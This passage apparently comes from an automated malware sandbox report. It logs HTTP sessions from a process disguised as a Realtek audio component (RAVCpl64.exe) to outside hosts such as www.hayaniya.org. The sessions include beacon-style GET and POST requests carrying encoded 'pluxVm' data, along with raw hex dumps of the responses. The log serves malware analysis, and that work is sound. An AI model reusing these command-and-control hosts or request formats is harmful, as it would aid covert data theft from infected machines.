pluxVm=hKt9jX66Sy01kN7FEG6kD6bJ+B2ADqo+ew9DTNIwYjeaWjwsrfjvN1rxKwKhSnnr52nfoqpTP8fqVYdkF1RT6kmeEAH68SIuj+FTh6C67+SlqvxHeBNCh6sLySlMV7PTxxS3RvXedm0YynDFXdqjEF1Pkx+JZy9r3OP5TdgvftdR7EjhTITi7ZGSWIskwbbZ7dF7v4RNOjcJsBKEEkslZN79OeVnw4c3vAK/nhNS4o3dBz8CARUuuL020SCWM3PWnjt06lLjGHXYD2FdJ6P67UMWxrSqKOnCv7RwhWmL4799erRa3Cp5rHNKngF1oJAfsUHripWJiyTf+LBUHTSbCGNpSvUQnrVRowGQUzhBm8+wIMJuB6l1dK7VjKyadqD9r+kqHYqhcYfaLBEOs3jHELxhq82XEBFs+e7skp8NX5tjoaY3XuM8of6iCH75TapuGjkdgBNa9W0jA8xwqb65ZlrSUil0ELHBcjASOOtRaCcEFOIv9Vkyb0E5jeXh1zzai5GX762m2Srkm4W0eaVoaW8MreQ6e64oBJpTZ5d4nePc95UwJ09nFtOusWSX/ORn46Z8hSjjCgbo3BqHyBtHsx0ZrsmbK4ddgHuBM0jbLo9RGHb4teBU7HxuSWYLwgnWFFgC3mlI9wFHcsqH27gHwQ6KvWWbAFzxUR2v6VZAJbwqTwP1xPhjgGWmWxKayXWT9YwczuBi6whdX2/V15x4Fa36P9pBxJcwwImaU2+i+HIb6VjYEfCKj59msB+n7gBzPLcAnQVBxRmYSGrHX8ujb4Sozr9RRLgYjytwfDVxf1QT+cXpyK9Q4pKllY9tWXmQPRICt06O/kO6otznblF0vpnuQqWQ+WRSPBehTnoS1hvlYviUzkn3KkKS7D7AVqRoYmmu6aMC/MVvCDLjbz0EJdi2TSQDK2OQ1GSrUIlBsGQS2oIdbBk0m3KUl7W/MhpzdptNGG/qkJGGSnec/0HJC5wMEQzzp8q2DGuo5g2AIhVno [TRUNCATED]
Dec 3, 2024 14:54:18.386756897 CET	1289	OUT	Data Raw: 58 67 44 47 74 71 4d 4e 66 34 79 46 61 42 38 52 33 7a 78 70 74 43 62 61 39 70 50 31 44 69 68 74 6b 2b 38 4f 31 6b 4c 49 58 76 63 73 4c 63 49 58 50 2f 72 71 6f 38 6c 64 48 35 35 70 51 52 67 47 43 39 73 37 4c 32 36 53 73 4c 33 57 4a 41 45 52 4a 79 Data Ascii: XgDGtqMNf4yFaB8R3zxptCba9pP1Dihtk+8O1kLIXvcsLcIXP/rqo8ldH55pQRgGC9s7L26SsL3WJAERJyXJaGhNVryqywVlTglcgm6V4Z/01UaqNtfS9mPBqOuwHwuspjDLO9FiPBWDu3dYVXBm3nd4Hmtb1T2dB5JASlpmTJENa1BTRXSxL9S3td2Qftk0Um08yV6k27+NVC+4n81fgKLkq1XVpT+EpejHC+pwE7XfsOWt7Gc
Dec 3, 2024 14:54:18.386825085 CET	118	OUT	Data Raw: 6e 35 4f 30 38 63 37 52 46 4b 56 62 7a 4e 77 6f 78 39 46 52 4c 5a 56 78 59 59 64 62 48 41 44 69 57 59 51 54 49 2f 73 55 35 58 33 42 41 33 53 47 6d 2b 43 33 6b 35 34 50 6d 4c 4f 6a 66 50 45 51 44 32 41 73 38 72 42 79 39 46 48 56 68 5a 35 53 58 31 Data Ascii: n5O08c7RFKVbzNwox9FRLZVxYYdbHADiWYQTI/sU5X3BA3SGm+C3k54PmLOjfPEQD2As8rBy9FHVhZ5SX1u4WGVyV968avjMntL+lOsCMRxoNjmZb/kw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49803	13.248.169.48	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:21.030231953 CET	420	OUT	GET /1cwp/?Z1EO=OvfHeluUy&pluxVm=sIFdgnO3FyIHooXZAGWnPd64nEiNYbQbKjddbfNFYhaUQRED9832NCT0LRXwdwmN50zS64Z/ENDcZJBcOGN8yjbqMhS05UVN1tB36ILI/fWY5OM6Vh1joIo= HTTP/1.1 Host: www.smartgov.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:54:21.141648054 CET	397	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 03 Dec 2024 13:54:21 GMT Content-Type: text/html Content-Length: 257 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 31 45 4f 3d 4f 76 66 48 65 6c 75 55 79 26 70 6c 75 78 56 6d 3d 73 49 46 64 67 6e 4f 33 46 79 49 48 6f 6f 58 5a 41 47 57 6e 50 64 36 34 6e 45 69 4e 59 62 51 62 4b 6a 64 64 62 66 4e 46 59 68 61 55 51 52 45 44 39 38 33 32 4e 43 54 30 4c 52 58 77 64 77 6d 4e 35 30 7a 53 36 34 5a 2f 45 4e 44 63 5a 4a 42 63 4f 47 4e 38 79 6a 62 71 4d 68 53 30 35 55 56 4e 31 74 42 33 36 49 4c 49 2f 66 57 59 35 4f 4d 36 56 68 31 6a 6f 49 6f 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?Z1EO=OvfHeluUy&pluxVm=sIFdgnO3FyIHooXZAGWnPd64nEiNYbQbKjddbfNFYhaUQRED9832NCT0LRXwdwmN50zS64Z/ENDcZJBcOGN8yjbqMhS05UVN1tB36ILI/fWY5OM6Vh1joIo="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49804	192.185.147.100	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:26.423396111 CET	680	OUT	POST /vpwx/ HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.hayaniya.org Referer: http://www.hayaniya.org/vpwx/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 64 58 72 6b 59 6d 79 48 77 62 4a 4f 5a 4f 66 73 6b 4c 64 63 6e 6a 5a 35 6d 78 54 54 4d 56 79 59 45 36 32 7a 4b 32 30 65 4b 53 31 31 54 54 37 55 5a 59 73 2f 35 36 67 58 66 39 65 59 47 32 69 41 50 53 6a 65 4e 6d 71 51 54 6b 35 6b 76 54 2f 68 37 6c 41 56 4f 74 36 59 38 74 58 5a 45 46 6b 78 35 70 2f 65 6f 57 52 70 59 79 72 4a 36 52 71 39 72 76 64 4d 2f 49 31 77 73 34 66 6e 30 5a 38 58 32 50 62 78 61 4d 5a 68 46 66 42 79 48 6d 61 79 5a 5a 48 6b 67 63 43 55 4c 6a 6d 31 57 32 64 37 64 66 77 48 67 37 6b 4c 54 52 54 62 4c 78 4f 73 2f 2f 59 74 65 64 79 77 48 37 53 56 78 67 6d 52 5a 67 3d 3d Data Ascii: pluxVm=dXrkYmyHwbJOZOfskLdcnjZ5mxTTMVyYE62zK20eKS11TT7UZYs/56gXf9eYG2iAPSjeNmqQTk5kvT/h7lAVOt6Y8tXZEFkx5p/eoWRpYyrJ6Rq9rvdM/I1ws4fn0Z8X2PbxaMZhFfByHmayZZHkgcCULjm1W2d7dfwHg7kLTRTbLxOs//YtedywH7SVxgmRZg==
Dec 3, 2024 14:54:26.872312069 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:54:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://hayaniya.org/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e4 b2 eb 92 dc c6 95 2e fa 9b fd 14 10 14 24 bb ed ce 42 dd 2f cd aa f6 9e b1 e5 73 bc c3 de 72 58 9a f0 9e 90 74 7a 27 80 04 90 ea 44 26 94 48 74 75 89 d3 3f 24 91 34 87 6f 31 e1 b0 5b e4 11 ad e1 a6 ad 08 9e 27 41 bd cd 59 40 02 55 a8 2a 54 5f c8 6e 1d 8f 0f a5 46 ad 5c f7 ef 5b df f8 bd 5f 7c f8 f3 8f ff f5 b7 1f 18 81 0a d9 e1 ce 38 fb 31 5c 2a 27 a6 54 cc 34 18 e6 fe c4 c4 d2 cc 42 04 bb 87 3b 77 c6 21 51 d8 70 02 2c 63 a2 26 e6 bf 7c fc 4b 34 34 0d 6b 11 e1 38 24 13 f3 84 92 69 24 a4 32 0d 47 70 45 38 64 4e a9 ab 82 89 4b 4e a8 43 50 fe d8 37 28 a7 8a 62 86 62 07 33 32 69 15 7d 18 e5 c7 86 24 6c 62 46 52 78 94 11 d3 08 24 f1 26 66 a0 54 74 60 59 7e 18 f9 0d 21 7d eb d4 e3 56 ab a6 8a 72 df c6 ce f1 5a 59 80 67 98 d3 19 d6 a5 21 93 91 d3 88 82 a8 28 57 54 31 72 98 9e cf 1f a5 7f 9b 7f 95 be 4c 9f 1b e9 ff 33 7f 96 be 32 e6 8f e7 4f d3 ef e0 ef fb f4 79 c3 b8 f7 fe b0 dd 6a 3d 30 f2 cc ef e6 8f d3 37 90 f4 5c 3f 5f a4 6f e0 f7 e9 fc c9 d2 75 9e be [TRUNCATED] Data Ascii: 1faa.$B/srXtz'D&Htu?$4o1['AY@UT_nF\[_\|81\'T4B;w!Qp,c&\|K44k8$i$2GpE8dNKNCP7(bb32i}$lbFRx$&fTt`Y~!}VrZYg!(WT1rL32Oyj=07\?_ouN_Yo<:sl;Ka_w?'($azX~/IK0=vg=aS(W:(K;0:f3:5ZllU<rU"cTDQ+*%peTL(No:uyxw`kp#TW:RihP\|N?"JQxh8&"yPVSh.V^5}:hj&9UP~PwtCHC&nU>a<y@)o\|I1h;O3>hlx~q'FO;v>{x!}.{,8"!$VW4.'SxqYB>v$GJH+@+GF$\z]wD8A6l1>jT;~s`uU\|f
Dec 3, 2024 14:54:26.872333050 CET	1289	IN	Data Raw: c3 1d 77 15 a4 37 f7 1e 68 00 d9 96 ff 42 b9 ea b4 ff 49 4a 3c db 25 0d 1f 76 ca 8e 08 bb e3 ab b4 6e b8 90 b8 b7 2f 27 bb ef b0 13 cf 77 da bf a9 6d f6 1e 48 a2 12 c9 0d d5 20 20 82 d9 ee e2 ae 40 df de c3 22 48 26 93 89 fc 44 7d 76 b6 b7 24 38 Data Ascii: w7hBIJ<%vn/'wmH @"H&D}v$8)4P1Ea4q4H4i7.\|x=4{%mg[mzbwnRIwM:AnW^&5$Jmx}`$n/[YYW^KCN
Dec 3, 2024 14:54:26.872349977 CET	1289	IN	Data Raw: 3b 77 ee b8 34 8e 18 9e 1d 18 ba c8 78 8f 86 d9 21 31 57 0f 20 6a 0b 09 4b 1f 18 5c d4 84 4e 51 1c 60 a0 b5 36 1c 10 ea 07 ea c0 68 91 70 2d 02 60 55 50 17 08 b1 04 a6 0e 8c a6 d1 6c 34 07 1b 61 e0 42 51 07 33 84 19 f5 21 0d 35 1b 9b 3d 32 99 f9 Data Ascii: ;w4x!1W jK\NQ`6hp-`UPl4aBQ3!5=2R$f2d]( f9F]Apa$Zg!W\6ML]'LGw\Ac!>E<wg;Vs:H ZY?y8&6p'+?Re?t}
Dec 3, 2024 14:54:26.872364044 CET	1289	IN	Data Raw: b2 f7 30 c4 d2 a7 1c b6 d8 dc 20 db 71 b9 41 f6 5a 69 96 39 b6 37 2b 21 03 af 36 13 ce 31 72 04 4b 42 1e d7 f3 d4 ae b2 74 41 49 85 b6 fa 92 48 c4 0a 01 7e d8 59 91 fa 59 ad 46 bb 77 ad da ca d0 b2 b6 11 e0 18 aa b0 5e 52 c8 87 f9 f7 c0 38 c1 72 Data Ascii: 0 qAZi97+!61rKBtAIH~YYFw^R8rwUKy==FB*Ua+[/<@Wl0#((5Nu${-kz,(ITHb\|m"nD^Z7A.B>m)TU)_-uUm%2bkKj:;/EK1;.w
Dec 3, 2024 14:54:26.872391939 CET	1289	IN	Data Raw: 0c 73 cf b0 e2 19 e5 9e d1 c2 33 f8 f9 cf 31 95 e2 ef 7f d3 7b ef 37 3b c3 07 2e 8d 23 86 67 13 9c 28 a1 3d d9 85 fb 8d c1 f5 2e bc 54 21 05 59 c5 28 0e b0 24 2e 6a 5e 43 86 11 4b 7c ca 63 6b a9 40 1c c7 44 c5 16 a3 76 ae 0f 84 a7 24 16 21 c9 74 Data Ascii: s31{7;.#g(=.T!Y($.j^CK\|ck@Dv$!t;6{Vy=l-0,om/F[[;~HLNY+4ZHBRX,mLs~IV.U_Edb(b)c!UbN\9(~f9$
Dec 3, 2024 14:54:26.872394085 CET	1289	IN	Data Raw: df cc 9f a5 cf 8d fc f9 22 7d 03 bf 4f e7 4f 96 ae f3 f4 75 fa 62 fe 87 cc 9a 7f a3 dd df e6 81 97 f0 38 d7 99 a6 21 09 83 71 22 84 e9 37 d8 77 6c e1 c3 b1 15 e5 4c 00 17 d9 21 5c ac f0 f2 80 48 d3 08 3a 89 44 ac cc f5 68 76 8c 61 73 71 b3 ba bb Data Ascii: "}OOub8!q"7wlL!\H:DhvasqgUx<X8&N&TQ6=h49,#6b%51[B@!x8abU4kEqR@{_$B=(=*}cc"\OBXQxgI9Z,uI\|
Dec 3, 2024 14:54:26.872406960 CET	777	IN	Data Raw: d8 a2 e5 1c 4b b7 5c 1b bb 09 29 4e ec 90 2e d1 e8 d7 d6 d1 8b 73 5d 63 76 e6 80 4b 15 5a b2 32 0e 4b bb e2 5e 98 4b bb 1a af 95 a0 23 58 12 72 63 c5 81 da bd 8a 43 89 68 33 ab b0 36 3d a8 d7 f2 48 bb 67 57 22 1a 23 0a 85 4d 19 31 0d 17 2b 8c b2 Data Ascii: K\)N.s]cvKZ2K^K#XrcCh36=HgW"#M1+?$%Qqwin[".q+~_R5!"u7(QGM1]YT5\BDWr"Ks\|s)8\|GU$\Ivn"5jqI"
Dec 3, 2024 14:54:26.872423887 CET	1289	IN	Data Raw: 31 66 61 30 0d 0a e0 6e c5 92 b5 e6 d2 de e2 8c 89 a3 a8 28 da 8e 8b d7 e6 96 65 60 e9 51 22 aa f1 16 d6 a6 07 75 ba dd 51 6b e8 1a 1b 3d 17 f7 09 81 5e 46 6a 12 62 25 89 72 02 52 2d d6 b7 40 a1 b0 69 6d 8d 2d 4e 49 dd b0 80 50 3f 50 c8 25 1e 4e Data Ascii: 1fa0n(e`Q"uQk=^Fjb%rR-@im-NIP?P%N44\0,H"21"(HzP8*}cc"\OE8[.yjL9F#G4HK&Yjj6]]Z\!{JnwpJ](48(aX-an}AJ
Dec 3, 2024 14:54:26.872438908 CET	1289	IN	Data Raw: 8d d4 22 dc 2b 15 bd b0 af 24 d3 6d 3c e7 f4 7e 07 8f 37 99 5e f5 f3 cd fc f1 fc 29 fc dd a6 80 bb c3 f6 95 f8 6e 57 20 0e 2a da d3 ea d2 e4 e3 c1 1a 59 0b 46 3b 95 43 b4 2a 9d bc d2 86 6f ff 12 e2 be 06 1e ce 33 21 be 02 f6 ce 73 86 80 ae d7 c0 Data Ascii: "+$m<~7^)nW YF;Co3!sW~ldJX+"m`E\|!No0V[aB!:+0`$V"p2W^qoX}"@H7(BpV4$w!Jb;WXe&
Dec 3, 2024 14:54:26.872453928 CET	1289	IN	Data Raw: 8c 3f cf 1f 1b f9 f3 71 fe 7d 96 3e bf 35 66 3a fd 41 eb 72 6a 16 18 dd ca d9 fb fa e0 a8 c2 90 53 51 48 af 92 3a 42 15 97 b3 14 93 dd 41 1b fa d2 49 de aa be ae 4b 26 30 f7 12 88 fc 21 7d 05 44 a6 df 81 c8 80 ca f4 8d 01 3f df 81 e6 5e e7 f4 a6 Data Ascii: ?q}>5f:ArjSQH:BAIK&0!}D?^Jwv?k$:${TUFjj_o!md7)oW5vgiU:yhX9D<^_A%gc+a7@pF:2n'B8
Dec 3, 2024 14:54:26.997052908 CET	1289	IN	Data Raw: b1 f3 eb d4 c8 60 a9 91 ec e4 37 7b bc 7e ff b2 63 dd 75 87 77 ed d1 5d 77 74 77 d8 47 d9 03 0f f2 47 37 b7 9d dc ee 55 92 70 ee 1f d5 1d 39 c3 58 77 e8 f9 e3 f9 13 03 48 79 39 7f b2 bc f1 0d 03 6d 77 db bd cb a1 c2 fe 9d 12 5d 89 0b 8f 72 d8 76 Data Ascii: `7{~cuw]wtwGG7Up9XwHy9mw]rv+ g>RFz{?J_9~JNJkJBCJOJ+pnEBXs~l,#}lld(qkgcVH-;lL?]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49805	192.185.147.100	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:29.071538925 CET	700	OUT	POST /vpwx/ HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.hayaniya.org Referer: http://www.hayaniya.org/vpwx/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 64 58 72 6b 59 6d 79 48 77 62 4a 4f 49 64 58 73 6d 73 42 63 32 44 5a 36 34 68 54 54 46 31 7a 77 45 36 36 7a 4b 33 41 4f 4a 67 68 31 54 79 4c 55 61 61 49 2f 36 36 67 58 55 64 65 64 62 6d 69 50 50 53 66 57 4e 6d 6d 51 54 6e 46 6b 76 57 37 68 37 53 30 55 50 39 36 61 39 64 58 62 5a 31 6b 78 35 70 2f 65 6f 57 56 44 59 79 6a 4a 36 68 36 39 35 2b 64 4c 6a 59 31 7a 74 34 66 6e 77 5a 39 65 32 50 62 54 61 4e 46 62 46 5a 4e 79 48 6e 71 79 59 4d 72 37 35 73 43 57 45 44 6e 6c 58 31 38 4b 56 72 49 44 32 63 45 55 55 43 66 37 48 48 44 32 69 4e 73 4a 64 4f 75 43 44 4c 72 39 7a 69 6e 4b 45 71 75 43 64 54 35 2f 43 75 64 44 39 30 6c 2f 47 71 62 51 4f 42 45 3d Data Ascii: pluxVm=dXrkYmyHwbJOIdXsmsBc2DZ64hTTF1zwE66zK3AOJgh1TyLUaaI/66gXUdedbmiPPSfWNmmQTnFkvW7h7S0UP96a9dXbZ1kx5p/eoWVDYyjJ6h695+dLjY1zt4fnwZ9e2PbTaNFbFZNyHnqyYMr75sCWEDnlX18KVrID2cEUUCf7HHD2iNsJdOuCDLr9zinKEquCdT5/CudD90l/GqbQOBE=
Dec 3, 2024 14:54:29.582056046 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:54:29 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://hayaniya.org/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e4 b2 eb 92 dc c6 95 2e fa 9b fd 14 10 14 24 bb ed ce 42 dd 2f cd aa f6 9e b1 e5 73 bc c3 de 72 58 9a f0 9e 90 74 7a 27 80 04 90 ea 44 26 94 48 74 75 89 d3 3f 24 91 34 87 6f 31 e1 b0 5b e4 11 ad e1 a6 ad 08 9e 27 41 bd cd 59 40 02 55 a8 2a 54 5f c8 6e 1d 8f 0f a5 46 ad 5c f7 ef 5b df f8 bd 5f 7c f8 f3 8f ff f5 b7 1f 18 81 0a d9 e1 ce 38 fb 31 5c 2a 27 a6 54 cc 34 18 e6 fe c4 c4 d2 cc 42 04 bb 87 3b 77 c6 21 51 d8 70 02 2c 63 a2 26 e6 bf 7c fc 4b 34 34 0d 6b 11 e1 38 24 13 f3 84 92 69 24 a4 32 0d 47 70 45 38 64 4e a9 ab 82 89 4b 4e a8 43 50 fe d8 37 28 a7 8a 62 86 62 07 33 32 69 15 7d 18 e5 c7 86 24 6c 62 46 52 78 94 11 d3 08 24 f1 26 66 a0 54 74 60 59 7e 18 f9 0d 21 7d eb d4 e3 56 ab a6 8a 72 df c6 ce f1 5a 59 80 67 98 d3 19 d6 a5 21 93 91 d3 88 82 a8 28 57 54 31 72 98 9e cf 1f a5 7f 9b 7f 95 be 4c 9f 1b e9 ff 33 7f 96 be 32 e6 8f e7 4f d3 ef e0 ef fb f4 79 c3 b8 f7 fe b0 dd 6a 3d 30 f2 cc ef e6 8f d3 37 90 f4 5c 3f 5f a4 6f e0 f7 e9 fc c9 d2 75 9e be [TRUNCATED] Data Ascii: 1faa.$B/srXtz'D&Htu?$4o1['AY@UT_nF\[_\|81\'T4B;w!Qp,c&\|K44k8$i$2GpE8dNKNCP7(bb32i}$lbFRx$&fTt`Y~!}VrZYg!(WT1rL32Oyj=07\?_ouN_Yo<:sl;Ka_w?'($azX~/IK0=vg=aS(W:(K;0:f3:5ZllU<rU"cTDQ+*%peTL(No:uyxw`kp#TW:RihP\|N?"JQxh8&"yPVSh.V^5}:hj&9UP~PwtCHC&nU>a<y@)o\|I1h;O3>hlx~q'FO;v>{x!}.{,8"!$VW4.'SxqYB>v$GJH+@+GF$\z]wD8A6l1>jT;~s`uU\|f
Dec 3, 2024 14:54:29.582078934 CET	1289	IN	Data Raw: c3 1d 77 15 a4 37 f7 1e 68 00 d9 96 ff 42 b9 ea b4 ff 49 4a 3c db 25 0d 1f 76 ca 8e 08 bb e3 ab b4 6e b8 90 b8 b7 2f 27 bb ef b0 13 cf 77 da bf a9 6d f6 1e 48 a2 12 c9 0d d5 20 20 82 d9 ee e2 ae 40 df de c3 22 48 26 93 89 fc 44 7d 76 b6 b7 24 38 Data Ascii: w7hBIJ<%vn/'wmH @"H&D}v$8)4P1Ea4q4H4i7.\|x=4{%mg[mzbwnRIwM:AnW^&5$Jmx}`$n/[YYW^KCN
Dec 3, 2024 14:54:29.582094908 CET	1289	IN	Data Raw: 3b 77 ee b8 34 8e 18 9e 1d 18 ba c8 78 8f 86 d9 21 31 57 0f 20 6a 0b 09 4b 1f 18 5c d4 84 4e 51 1c 60 a0 b5 36 1c 10 ea 07 ea c0 68 91 70 2d 02 60 55 50 17 08 b1 04 a6 0e 8c a6 d1 6c 34 07 1b 61 e0 42 51 07 33 84 19 f5 21 0d 35 1b 9b 3d 32 99 f9 Data Ascii: ;w4x!1W jK\NQ`6hp-`UPl4aBQ3!5=2R$f2d]( f9F]Apa$Zg!W\6ML]'LGw\Ac!>E<wg;Vs:H ZY?y8&6p'+?Re?t}
Dec 3, 2024 14:54:29.582109928 CET	1289	IN	Data Raw: b2 f7 30 c4 d2 a7 1c b6 d8 dc 20 db 71 b9 41 f6 5a 69 96 39 b6 37 2b 21 03 af 36 13 ce 31 72 04 4b 42 1e d7 f3 d4 ae b2 74 41 49 85 b6 fa 92 48 c4 0a 01 7e d8 59 91 fa 59 ad 46 bb 77 ad da ca d0 b2 b6 11 e0 18 aa b0 5e 52 c8 87 f9 f7 c0 38 c1 72 Data Ascii: 0 qAZi97+!61rKBtAIH~YYFw^R8rwUKy==FB*Ua+[/<@Wl0#((5Nu${-kz,(ITHb\|m"nD^Z7A.B>m)TU)_-uUm%2bkKj:;/EK1;.w
Dec 3, 2024 14:54:29.582124949 CET	1289	IN	Data Raw: 0c 73 cf b0 e2 19 e5 9e d1 c2 33 f8 f9 cf 31 95 e2 ef 7f d3 7b ef 37 3b c3 07 2e 8d 23 86 67 13 9c 28 a1 3d d9 85 fb 8d c1 f5 2e bc 54 21 05 59 c5 28 0e b0 24 2e 6a 5e 43 86 11 4b 7c ca 63 6b a9 40 1c c7 44 c5 16 a3 76 ae 0f 84 a7 24 16 21 c9 74 Data Ascii: s31{7;.#g(=.T!Y($.j^CK\|ck@Dv$!t;6{Vy=l-0,om/F[[;~HLNY+4ZHBRX,mLs~IV.U_Edb(b)c!UbN\9(~f9$
Dec 3, 2024 14:54:29.582139969 CET	1289	IN	Data Raw: df cc 9f a5 cf 8d fc f9 22 7d 03 bf 4f e7 4f 96 ae f3 f4 75 fa 62 fe 87 cc 9a 7f a3 dd df e6 81 97 f0 38 d7 99 a6 21 09 83 71 22 84 e9 37 d8 77 6c e1 c3 b1 15 e5 4c 00 17 d9 21 5c ac f0 f2 80 48 d3 08 3a 89 44 ac cc f5 68 76 8c 61 73 71 b3 ba bb Data Ascii: "}OOub8!q"7wlL!\H:DhvasqgUx<X8&N&TQ6=h49,#6b%51[B@!x8abU4kEqR@{_$B=(=*}cc"\OBXQxgI9Z,uI\|
Dec 3, 2024 14:54:29.582151890 CET	777	IN	Data Raw: d8 a2 e5 1c 4b b7 5c 1b bb 09 29 4e ec 90 2e d1 e8 d7 d6 d1 8b 73 5d 63 76 e6 80 4b 15 5a b2 32 0e 4b bb e2 5e 98 4b bb 1a af 95 a0 23 58 12 72 63 c5 81 da bd 8a 43 89 68 33 ab b0 36 3d a8 d7 f2 48 bb 67 57 22 1a 23 0a 85 4d 19 31 0d 17 2b 8c b2 Data Ascii: K\)N.s]cvKZ2K^K#XrcCh36=HgW"#M1+?$%Qqwin[".q+~_R5!"u7(QGM1]YT5\BDWr"Ks\|s)8\|GU$\Ivn"5jqI"
Dec 3, 2024 14:54:29.582168102 CET	1289	IN	Data Raw: 31 66 61 30 0d 0a e0 6e c5 92 b5 e6 d2 de e2 8c 89 a3 a8 28 da 8e 8b d7 e6 96 65 60 e9 51 22 aa f1 16 d6 a6 07 75 ba dd 51 6b e8 1a 1b 3d 17 f7 09 81 5e 46 6a 12 62 25 89 72 02 52 2d d6 b7 40 a1 b0 69 6d 8d 2d 4e 49 dd b0 80 50 3f 50 c8 25 1e 4e Data Ascii: 1fa0n(e`Q"uQk=^Fjb%rR-@im-NIP?P%N44\0,H"21"(HzP8*}cc"\OE8[.yjL9F#G4HK&Yjj6]]Z\!{JnwpJ](48(aX-an}AJ
Dec 3, 2024 14:54:29.582367897 CET	1289	IN	Data Raw: 8d d4 22 dc 2b 15 bd b0 af 24 d3 6d 3c e7 f4 7e 07 8f 37 99 5e f5 f3 cd fc f1 fc 29 fc dd a6 80 bb c3 f6 95 f8 6e 57 20 0e 2a da d3 ea d2 e4 e3 c1 1a 59 0b 46 3b 95 43 b4 2a 9d bc d2 86 6f ff 12 e2 be 06 1e ce 33 21 be 02 f6 ce 73 86 80 ae d7 c0 Data Ascii: "+$m<~7^)nW YF;Co3!sW~ldJX+"m`E\|!No0V[aB!:+0`$V"p2W^qoX}"@H7(BpV4$w!Jb;WXe&
Dec 3, 2024 14:54:29.582389116 CET	1289	IN	Data Raw: 8c 3f cf 1f 1b f9 f3 71 fe 7d 96 3e bf 35 66 3a fd 41 eb 72 6a 16 18 dd ca d9 fb fa e0 a8 c2 90 53 51 48 af 92 3a 42 15 97 b3 14 93 dd 41 1b fa d2 49 de aa be ae 4b 26 30 f7 12 88 fc 21 7d 05 44 a6 df 81 c8 80 ca f4 8d 01 3f df 81 e6 5e e7 f4 a6 Data Ascii: ?q}>5f:ArjSQH:BAIK&0!}D?^Jwv?k$:${TUFjj_o!md7)oW5vgiU:yhX9D<^_A%gc+a7@pF:2n'B8
Dec 3, 2024 14:54:29.706891060 CET	1289	IN	Data Raw: b1 f3 eb d4 c8 60 a9 91 ec e4 37 7b bc 7e ff b2 63 dd 75 87 77 ed d1 5d 77 74 77 d8 47 d9 03 0f f2 47 37 b7 9d dc ee 55 92 70 ee 1f d5 1d 39 c3 58 77 e8 f9 e3 f9 13 03 48 79 39 7f b2 bc f1 0d 03 6d 77 db bd cb a1 c2 fe 9d 12 5d 89 0b 8f 72 d8 76 Data Ascii: `7{~cuw]wtwGG7Up9XwHy9mw]rv+ g>RFz{?J_9~JNJkJBCJOJ+pnEBXs~l,#}lld(qkgcVH-;lL?]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49806	192.185.147.100	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
